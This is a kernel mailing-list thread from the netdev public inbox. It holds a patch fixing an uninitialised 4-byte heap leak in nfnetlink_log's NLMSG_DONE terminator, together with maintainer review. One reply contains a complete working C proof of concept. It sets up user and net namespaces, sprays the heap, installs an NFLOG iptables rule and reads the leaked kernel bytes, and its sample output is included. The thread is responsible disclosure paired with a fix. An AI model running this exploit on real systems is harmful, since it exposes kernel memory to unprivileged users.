public inbox for netdev@vger.kernel.org
 help / color / mirror / Atom feed
* [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
@ 2026-04-01 19:57 Xiang Mei
  2026-04-01 20:06 ` Xiang Mei
  2026-04-01 20:39 ` Florian Westphal
  0 siblings, 2 replies; 5+ messages in thread
From: Xiang Mei @ 2026-04-01 19:57 UTC (permalink / raw)
  To: netfilter-devel
  Cc: pablo, fw, phil, davem, eric, coreteam, netdev, bestswngs,
	Xiang Mei

When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
helper only zeroes alignment padding after the payload, not the payload
itself, so four bytes of stale kernel heap data are leaked to userspace
in the NLMSG_DONE message body.

Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
__build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
messages, to prevent leaking kernel heap data to userspace.

Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/netfilter/nfnetlink_log.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
index fcbe54940b2e..ad4eaf27590e 100644
--- a/net/netfilter/nfnetlink_log.c
+++ b/net/netfilter/nfnetlink_log.c
@@ -361,6 +361,7 @@ static void
 __nfulnl_send(struct nfulnl_instance *inst)
 {
 	if (inst->qlen > 1) {
+		struct nfgenmsg *nfmsg;
 		struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
 						 NLMSG_DONE,
 						 sizeof(struct nfgenmsg),
@@ -370,6 +371,10 @@ __nfulnl_send(struct nfulnl_instance *inst)
 			kfree_skb(inst->skb);
 			goto out;
 		}
+		nfmsg = nlmsg_data(nlh);
+		nfmsg->nfgen_family = AF_UNSPEC;
+		nfmsg->version = NFNETLINK_V0;
+		nfmsg->res_id = htons(inst->group_num);
 	}
 	nfnetlink_unicast(inst->skb, inst->net, inst->peer_portid);
 out:
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 5+ messages in thread

* Re: [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
  2026-04-01 19:57 [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator Xiang Mei
@ 2026-04-01 20:06 ` Xiang Mei
  2026-04-01 20:39 ` Florian Westphal
  1 sibling, 0 replies; 5+ messages in thread
From: Xiang Mei @ 2026-04-01 20:06 UTC (permalink / raw)
  To: netfilter-devel; +Cc: pablo, fw, phil, davem, eric, coreteam, netdev, bestswngs

On Wed, Apr 01, 2026 at 12:57:35PM -0700, Xiang Mei wrote:
> When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
> appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
> nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
> helper only zeroes alignment padding after the payload, not the payload
> itself, so four bytes of stale kernel heap data are leaked to userspace
> in the NLMSG_DONE message body.
> 
> Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
> __build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
> messages, to prevent leaking kernel heap data to userspace.
> 
> Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/netfilter/nfnetlink_log.c | 5 +++++
>  1 file changed, 5 insertions(+)
> 
> diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
> index fcbe54940b2e..ad4eaf27590e 100644
> --- a/net/netfilter/nfnetlink_log.c
> +++ b/net/netfilter/nfnetlink_log.c
> @@ -361,6 +361,7 @@ static void
>  __nfulnl_send(struct nfulnl_instance *inst)
>  {
>  	if (inst->qlen > 1) {
> +		struct nfgenmsg *nfmsg;
>  		struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
>  						 NLMSG_DONE,
>  						 sizeof(struct nfgenmsg),
> @@ -370,6 +371,10 @@ __nfulnl_send(struct nfulnl_instance *inst)
>  			kfree_skb(inst->skb);
>  			goto out;
>  		}
> +		nfmsg = nlmsg_data(nlh);
> +		nfmsg->nfgen_family = AF_UNSPEC;
> +		nfmsg->version = NFNETLINK_V0;
> +		nfmsg->res_id = htons(inst->group_num);
>  	}
>  	nfnetlink_unicast(inst->skb, inst->net, inst->peer_portid);
>  out:
> -- 
> 2.43.0
>

Thanks for your attention to this bug. It's a 4 bytes uninit heap data 
leak vulenrability. A non-root user with ns_capable(ns,CAP_NET_ADMIN)
can trigger the bug. I'll attach the required information to help you 
reproduce the bug.

Required Configs:
```
CONFIG_IP_NF_IPTABLES_LEGACY=y
CONFIG_IP_NF_FILTER=y

```

PoC Source Code:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_log.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netfilter/xt_NFLOG.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <fcntl.h>

#define NFLOG_GROUP  100
#define QTHRESHOLD   2
#define NFNL_SUBSYS_ULOG 4
#define ROUNDS       20

/* Dirty the skb slab with non-zero data so the leak is visible */
static void spray_heap(void)
{
    struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(9999),
                               .sin_addr.s_addr = htonl(INADDR_LOOPBACK) };
    uint32_t buf[512];
    for (int i = 0; i < 512; i++) buf[i] = 0xdeadbeef;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) return;
    for (int i = 0; i < 200; i++)
        sendto(s, buf, sizeof(buf), MSG_DONTWAIT,
               (struct sockaddr *)&dst, sizeof(dst));
    close(s);
}

/* ---- namespace setup ---- */
static void setup_ns(void)
{
    if (unshare(CLONE_NEWUSER) < 0) { perror("unshare(NEWUSER)"); exit(1); }
    FILE *f;
    f = fopen("/proc/self/setgroups", "w");
    if (f) { fprintf(f, "deny"); fclose(f); }
    f = fopen("/proc/self/uid_map", "w");
    if (f) { fprintf(f, "0 %d 1\n", getuid()); fclose(f); }
    f = fopen("/proc/self/gid_map", "w");
    if (f) { fprintf(f, "0 %d 1\n", getgid()); fclose(f); }
    if (unshare(CLONE_NEWNET) < 0) { perror("unshare(NEWNET)"); exit(1); }

    /* bring up loopback */
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr = {0};
    strcpy(ifr.ifr_name, "lo");
    ioctl(s, SIOCGIFFLAGS, &ifr);
    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    ioctl(s, SIOCSIFFLAGS, &ifr);
    close(s);
}

/* ---- netlink helpers ---- */
static int nflog_request(int fd, int seq, uint16_t group,
                         void *attr_buf, int attr_len)
{
    char buf[512] = {0};
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct nfgenmsg));
    nlh->nlmsg_type = (NFNL_SUBSYS_ULOG << 8) | NFULNL_MSG_CONFIG;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = seq;
    struct nfgenmsg *nfg = NLMSG_DATA(nlh);
    nfg->nfgen_family = AF_UNSPEC;
    nfg->version = NFNETLINK_V0;
    nfg->res_id = htons(group);

    if (attr_buf) {
        memcpy((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len), attr_buf, attr_len);
        nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + attr_len;
    }

    struct sockaddr_nl dest = { .nl_family = AF_NETLINK };
    if (sendto(fd, buf, nlh->nlmsg_len, 0,
               (struct sockaddr *)&dest, sizeof(dest)) < 0)
        return -1;
    int len = recv(fd, buf, sizeof(buf), 0);
    if (len < 0) return -1;
    nlh = (struct nlmsghdr *)buf;
    if (nlh->nlmsg_type == NLMSG_ERROR) {
        int *err = NLMSG_DATA(nlh);
        if (*err) { errno = -*err; return *err; }
    }
    return 0;
}

/* ---- iptables NFLOG rule via setsockopt ---- */
static int setup_iptables_nflog(void)
{
    size_t tgt_sz  = XT_ALIGN(sizeof(struct xt_entry_target) + sizeof(struct xt_nflog_info));
    size_t acc_sz  = XT_ALIGN(sizeof(struct xt_entry_target) + sizeof(int));
    size_t acc_ent = sizeof(struct ipt_entry) + acc_sz;
    size_t nfl_ent = sizeof(struct ipt_entry) + tgt_sz;
    size_t all     = acc_ent * 2 + nfl_ent + acc_ent; /* IN + FWD + OUT(nflog+accept) */
    size_t tbl_sz  = sizeof(struct ipt_replace) + all;

    char *tbl = calloc(1, tbl_sz);
    if (!tbl) return -1;
    struct ipt_replace *r = (struct ipt_replace *)tbl;
    strcpy(r->name, "filter");
    r->valid_hooks = (1<<NF_INET_LOCAL_IN)|(1<<NF_INET_FORWARD)|(1<<NF_INET_LOCAL_OUT);
    r->num_entries = 4;
    r->size = all;
    r->num_counters = 4;
    struct xt_counters ctrs[4] = {0};
    r->counters = ctrs;
    r->hook_entry[NF_INET_LOCAL_IN]  = 0;
    r->hook_entry[NF_INET_FORWARD]   = acc_ent;
    r->hook_entry[NF_INET_LOCAL_OUT]  = acc_ent * 2;
    r->underflow[NF_INET_LOCAL_IN]   = 0;
    r->underflow[NF_INET_FORWARD]    = acc_ent;
    r->underflow[NF_INET_LOCAL_OUT]  = acc_ent * 2 + nfl_ent;

    char *p = tbl + sizeof(struct ipt_replace);

    /* INPUT & FORWARD: ACCEPT */
    for (int i = 0; i < 2; i++, p += acc_ent) {
        struct ipt_entry *e = (struct ipt_entry *)p;
        e->target_offset = sizeof(struct ipt_entry);
        e->next_offset = acc_ent;
        struct xt_standard_target *t = (void *)p + e->target_offset;
        t->target.u.target_size = acc_sz;
        t->verdict = -NF_ACCEPT - 1;
    }

    /* OUTPUT: NFLOG */
    {
        struct ipt_entry *e = (struct ipt_entry *)p;
        e->target_offset = sizeof(struct ipt_entry);
        e->next_offset = nfl_ent;
        struct xt_entry_target *t = (void *)p + e->target_offset;
        t->u.target_size = tgt_sz;
        strcpy(t->u.user.name, "NFLOG");
        struct xt_nflog_info *ni = (void *)t->data;
        ni->group = NFLOG_GROUP;
        ni->threshold = QTHRESHOLD;
        p += nfl_ent;
    }

    /* OUTPUT underflow: ACCEPT */
    {
        struct ipt_entry *e = (struct ipt_entry *)p;
        e->target_offset = sizeof(struct ipt_entry);
        e->next_offset = acc_ent;
        struct xt_standard_target *t = (void *)p + e->target_offset;
        t->target.u.target_size = acc_sz;
        t->verdict = -NF_ACCEPT - 1;
    }

    int fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (fd < 0) { free(tbl); return -1; }
    int ret = setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, tbl, tbl_sz);
    close(fd);
    free(tbl);
    return ret;
}

int main(void)
{

    /* Step 1: user+net namespace */
    setup_ns();

    /* Step 2: create NFLOG listener, bind group, set qthreshold=2 */
    int nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    if (nlfd < 0) { perror("socket"); return 1; }
    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    bind(nlfd, (struct sockaddr *)&sa, sizeof(sa));

    /* bind command */
    struct { struct nlattr nla; struct nfulnl_msg_config_cmd cmd; }
        bind_attr = { { NLA_HDRLEN + sizeof(struct nfulnl_msg_config_cmd),
                        NFULA_CFG_CMD }, { NFULNL_CFG_CMD_BIND } };
    if (nflog_request(nlfd, 1, NFLOG_GROUP, &bind_attr,
                      NLA_ALIGN(bind_attr.nla.nla_len)) < 0) {
        perror("bind group"); return 1;
    }

    /* set copy mode + qthreshold */
    char cfg[64] = {0};
    int off = 0;
    struct nfulnl_msg_config_mode mode = { .copy_mode = NFULNL_COPY_PACKET,
                                           .copy_range = htonl(0xffff) };
    struct nlattr *a = (void *)(cfg + off);
    a->nla_len = NLA_HDRLEN + sizeof(mode);
    a->nla_type = NFULA_CFG_MODE;
    memcpy(cfg + off + NLA_HDRLEN, &mode, sizeof(mode));
    off += NLA_ALIGN(a->nla_len);

    __be32 qt = htonl(QTHRESHOLD);
    a = (void *)(cfg + off);
    a->nla_len = NLA_HDRLEN + sizeof(qt);
    a->nla_type = NFULA_CFG_QTHRESH;
    memcpy(cfg + off + NLA_HDRLEN, &qt, sizeof(qt));
    off += NLA_ALIGN(a->nla_len);

    if (nflog_request(nlfd, 2, NFLOG_GROUP, cfg, off) < 0) {
        perror("set params"); return 1;
    }

    /* Step 3: install iptables NFLOG rule */
    if (setup_iptables_nflog() < 0) {
        perror("iptables"); return 1;
    }

    /* Step 4: send packets and check NLMSG_DONE payloads */
    int total_done = 0, total_leaked = 0;
    struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(12345),
                               .sin_addr.s_addr = htonl(INADDR_LOOPBACK) };
    struct timeval tv = { .tv_sec = 1 };
    setsockopt(nlfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    spray_heap();

    for (int round = 0; round < ROUNDS; round++) {
        if (round % 5 == 0) spray_heap();
        /* generate packets to trigger batching */
        int udp = socket(AF_INET, SOCK_DGRAM, 0);
        for (int i = 0; i < QTHRESHOLD * 2 + 1; i++)
            sendto(udp, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
        close(udp);
        usleep(50000);

        /* read NFLOG messages */
        char buf[65536];
        for (;;) {
            int len = recv(nlfd, buf, sizeof(buf), 0);
            if (len <= 0) break;
            struct nlmsghdr *nlh = (void *)buf;
            int rem = len;
            while (NLMSG_OK(nlh, rem)) {
                if (nlh->nlmsg_type == NLMSG_DONE) {
                    total_done++;
                    unsigned char *p = NLMSG_DATA(nlh);
                    int plen = nlh->nlmsg_len - NLMSG_HDRLEN;
                    if (plen >= 4) {
                        /* accept zero (uninit but clean) and the
                           properly initialized value as non-leaks */
                        uint8_t fixed[4] = {0, 0, 0, 0};
                        *(uint16_t *)(fixed + 2) = htons(NFLOG_GROUP);
                        if (memcmp(p, "\0\0\0\0", 4) != 0 &&
                            memcmp(p, fixed, 4) != 0) {
                            total_leaked++;
                            printf("  [DONE#%d] %02x %02x %02x %02x"
                                   " - LEAKED!\n", total_done,
                                   p[0], p[1], p[2], p[3]);
                        }
                    }
                }
                nlh = NLMSG_NEXT(nlh, rem);
            }
        }
    }

    printf("\nNLMSG_DONE: %d total, %d leaked\n", total_done, total_leaked);
    if (total_leaked)
        printf("[+] BUG CONFIRMED: %d/%d NLMSG_DONE had uninit heap data\n",
               total_leaked, total_done);
    else if (total_done)
        printf("[*] All NLMSG_DONE payloads were zero (heap was clean)\n");
    else
        printf("[-] No NLMSG_DONE received\n");

    close(nlfd);
    return 0;
}

```

Intended Leak:
```
++ su - user -c /tmp/exp/poc
  [DONE#49] ef be ad de - LEAKED!
  [DONE#50] ef be ad de - LEAKED!
  [DONE#51] ef be ad de - LEAKED!
  [DONE#52] ef be ad de - LEAKED!
  [DONE#53] ef be ad de - LEAKED!
  [DONE#54] ef be ad de - LEAKED!
```

Please let me know if you have any questions for the patch and poc.

Thanks,
Xiang


^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
  2026-04-01 19:57 [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator Xiang Mei
  2026-04-01 20:06 ` Xiang Mei
@ 2026-04-01 20:39 ` Florian Westphal
  2026-04-01 20:40   ` Xiang Mei
  2026-04-01 21:23   ` Xiang Mei
  1 sibling, 2 replies; 5+ messages in thread
From: Florian Westphal @ 2026-04-01 20:39 UTC (permalink / raw)
  To: Xiang Mei
  Cc: netfilter-devel, pablo, phil, davem, eric, coreteam, netdev,
	bestswngs

Xiang Mei <xmei5@asu.edu> wrote:
> When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
> appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
> nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
> helper only zeroes alignment padding after the payload, not the payload
> itself, so four bytes of stale kernel heap data are leaked to userspace
> in the NLMSG_DONE message body.
> 
> Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
> __build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
> messages, to prevent leaking kernel heap data to userspace.
> 
> Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/netfilter/nfnetlink_log.c | 5 +++++
>  1 file changed, 5 insertions(+)
> 
> diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
> index fcbe54940b2e..ad4eaf27590e 100644
> --- a/net/netfilter/nfnetlink_log.c
> +++ b/net/netfilter/nfnetlink_log.c
> @@ -361,6 +361,7 @@ static void
>  __nfulnl_send(struct nfulnl_instance *inst)
>  {
>  	if (inst->qlen > 1) {
> +		struct nfgenmsg *nfmsg;
>  		struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
>  						 NLMSG_DONE,
>  						 sizeof(struct nfgenmsg),

Would you mind sending a v2 that replaces nlmsg_put with nfnl_msg_put() ?

We already use this helper in __build_packet_message() and it takes
care of initialising the nfgenmsg.

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
  2026-04-01 20:39 ` Florian Westphal
@ 2026-04-01 20:40   ` Xiang Mei
  2026-04-01 21:23   ` Xiang Mei
  1 sibling, 0 replies; 5+ messages in thread
From: Xiang Mei @ 2026-04-01 20:40 UTC (permalink / raw)
  To: Florian Westphal
  Cc: netfilter-devel, pablo, phil, davem, eric, coreteam, netdev,
	bestswngs

Thanks for the suggestion. I'll send a v2 with nfnl_msg_put.

On Wed, Apr 1, 2026 at 1:39 PM Florian Westphal <fw@strlen.de> wrote:
>
> Xiang Mei <xmei5@asu.edu> wrote:
> > When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
> > appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
> > nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
> > helper only zeroes alignment padding after the payload, not the payload
> > itself, so four bytes of stale kernel heap data are leaked to userspace
> > in the NLMSG_DONE message body.
> >
> > Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
> > __build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
> > messages, to prevent leaking kernel heap data to userspace.
> >
> > Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > ---
> >  net/netfilter/nfnetlink_log.c | 5 +++++
> >  1 file changed, 5 insertions(+)
> >
> > diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
> > index fcbe54940b2e..ad4eaf27590e 100644
> > --- a/net/netfilter/nfnetlink_log.c
> > +++ b/net/netfilter/nfnetlink_log.c
> > @@ -361,6 +361,7 @@ static void
> >  __nfulnl_send(struct nfulnl_instance *inst)
> >  {
> >       if (inst->qlen > 1) {
> > +             struct nfgenmsg *nfmsg;
> >               struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
> >                                                NLMSG_DONE,
> >                                                sizeof(struct nfgenmsg),
>
> Would you mind sending a v2 that replaces nlmsg_put with nfnl_msg_put() ?
>
> We already use this helper in __build_packet_message() and it takes
> care of initialising the nfgenmsg.

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
  2026-04-01 20:39 ` Florian Westphal
  2026-04-01 20:40   ` Xiang Mei
@ 2026-04-01 21:23   ` Xiang Mei
  1 sibling, 0 replies; 5+ messages in thread
From: Xiang Mei @ 2026-04-01 21:23 UTC (permalink / raw)
  To: Florian Westphal
  Cc: netfilter-devel, pablo, phil, davem, coreteam, netdev, bestswngs

Thanks for the review, v2 is sent. Please let me know if the usage of
`nfnl_msg_put` is incorrect.

On Wed, Apr 1, 2026 at 1:39 PM Florian Westphal <fw@strlen.de> wrote:
>
> Xiang Mei <xmei5@asu.edu> wrote:
> > When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
> > appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
> > nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
> > helper only zeroes alignment padding after the payload, not the payload
> > itself, so four bytes of stale kernel heap data are leaked to userspace
> > in the NLMSG_DONE message body.
> >
> > Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
> > __build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
> > messages, to prevent leaking kernel heap data to userspace.
> >
> > Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > ---
> >  net/netfilter/nfnetlink_log.c | 5 +++++
> >  1 file changed, 5 insertions(+)
> >
> > diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
> > index fcbe54940b2e..ad4eaf27590e 100644
> > --- a/net/netfilter/nfnetlink_log.c
> > +++ b/net/netfilter/nfnetlink_log.c
> > @@ -361,6 +361,7 @@ static void
> >  __nfulnl_send(struct nfulnl_instance *inst)
> >  {
> >       if (inst->qlen > 1) {
> > +             struct nfgenmsg *nfmsg;
> >               struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
> >                                                NLMSG_DONE,
> >                                                sizeof(struct nfgenmsg),
>
> Would you mind sending a v2 that replaces nlmsg_put with nfnl_msg_put() ?
>
> We already use this helper in __build_packet_message() and it takes
> care of initialising the nfgenmsg.

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2026-04-01 21:23 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-01 19:57 [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator Xiang Mei
2026-04-01 20:06 ` Xiang Mei
2026-04-01 20:39 ` Florian Westphal
2026-04-01 20:40   ` Xiang Mei
2026-04-01 21:23   ` Xiang Mei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox